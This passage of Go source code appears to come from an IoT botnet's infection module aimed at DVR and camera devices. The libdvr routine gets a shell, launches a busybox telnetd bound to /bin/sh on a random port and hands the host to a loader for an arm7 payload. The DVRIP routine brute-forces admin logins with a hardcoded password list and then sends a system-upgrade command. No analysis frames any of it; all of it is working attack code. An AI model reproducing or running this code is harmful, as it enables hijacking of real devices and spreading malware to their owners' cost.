		    	conn.Close()
		    	return 0, nil, "", 0
		    }
	    } else if strings.Contains(string(second_buf), "admin$") {
	    	gotAdmin = 1
	    } else {
	    	conn.Close()
	    	return 0, nil, "", 0
	    }
   	}

   	if gotAdmin == 1  || gotShell == 1 {
   		conn.Write([]byte("shell\n"))
	   	conn.Write([]byte("/bin/busybox BOXOFABOX\n"))

	   	new_buf := make([]byte, 128)
	    l, err := conn.Read(new_buf)
	    if err != nil || l <= 0 {
	        conn.Close()
	        return 0, nil, "", 0
	    }

	    if strings.Contains(string(new_buf), "BOXOFABOX: applet not found") {
		   	conn.Write([]byte("/bin/busybox telnetd -p" + strconv.Itoa(rInt) + " -l/bin/sh\n"))
		    conn.Write([]byte("exit\n"))
		    conn.Write([]byte("quit\n"))
	   		conn.Close()

	   		time.Sleep(3 * time.Second)
	   		return 1, nil, password, rInt
	    } else {
		    conn.Write([]byte("exit\n"))
		    conn.Write([]byte("quit\n"))
	        conn.Close()
	        return 0, nil, "", 0
	    }
   	} else {
   		conn.Write([]byte("quit\n"))
   		conn.Close()
   		return 0, nil, "", 0
   	}
}

func infectFunctionLibdvr(target string) {

	splitStr := strings.Split(target, ":")
   	for i := 0; i < 3; i++ {
	    exploited, err, _, port := infectFunctionLibdvrProto(target, i)
	    if err != nil {
	        return
	    }

	    if exploited == 1 {
	    	fmt.Printf("\x1b[38;5;46mLibdvr\x1b[38;5;15m: \x1b[38;5;134m%s\x1b[38;5;15m potential telnet shell\x1b[38;5;15m\r\n", target)
	    	telnetLoader(splitStr[0] + ":" + strconv.Itoa(port), 0, "arm7", loaderLibdvrTag)
	        return
	    }
	}
}

func infectFunctionDvrip(target string) {

	var (
		bytebuf []byte = []byte("")
		adminPasswords []string = []string{"tlJwpbo6", "S2fGqNFs", "OxhlwSG8", "ORsEWe7l", "nTBCS19C"}
		username string = "admin"
		password string = ""
		attempt int = 0
		authed int = 0
	)

    conn, err := net.DialTimeout("tcp", target, 10 * time.Second)
    if err != nil {
		return
    }

    for
	{
		if attempt >= 5 {
			break
		} else {
			password = adminPasswords[attempt]
		}

		conn.Write([]byte("\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\x03\x64\x00\x00\x00{ \"EncryptType\" : \"MD5\", \"LoginType\" : \"DVRIP-Web\", \"PassWord\" : \"" + password + "\", \"UserName\" : \"" + username + "\" }\x0a"))

		for {
	        tmpbuf := make([]byte, 128)
	        ln, err := conn.Read(tmpbuf)
	        if ln <= 0 || err != nil {
	            break
	        }

	        bytebuf = append(bytebuf, tmpbuf...)
	        if strings.Contains(string(bytebuf), "}") {
	        	break
	        }
	    }

		dvrret, err := strconv.Atoi(getStringInBetween(string(bytebuf), "\"Ret\" : ", ", \"SessionID"))
		if err != nil {
			authed = 0
			break
	    }

		if dvrret == DVRIP_OK {
			authed = 1
		}

		dvrret = DVRIP_NORESP

		if authed == 1 {
			break
		}
			
		attempt++
		continue
	}

	if authed != 1 {
		conn.Close()
		return
	}

	conn.Write([]byte("\xff\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xee\x03\x35\x00\x00\x00{ \"Name\" : \"KeepAlive\", \"SessionID\" : \"0x00000004\" }\x0a"))
	zeroByte(bytebuf)

	for {
	    tmpbuf := make([]byte, 128)
	    ln, err := conn.Read(tmpbuf)
	    if ln <= 0 || err != nil {
	        conn.Close()
	        return
	    }

	    bytebuf = append(bytebuf, tmpbuf...)
	    if strings.Contains(string(bytebuf), "}") {
	        break
	    }
	}

	zeroByte(bytebuf)
	conn.Write([]byte("\xff\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0\x05\x73\x00\x00\x00{ \"Name\" : \"OPSystemUpgrade\", \"OPSystemUpgrade\" : { \"Action\" : \"Start\", \"Type\" : \"System\" }, \"SessionID\" : \"0x00000004\" }\x0a"))

	for {
	    tmpbuf := make([]byte, 128)
	    ln, err := conn.Read(tmpbuf)
	    if ln <= 0 || err != nil {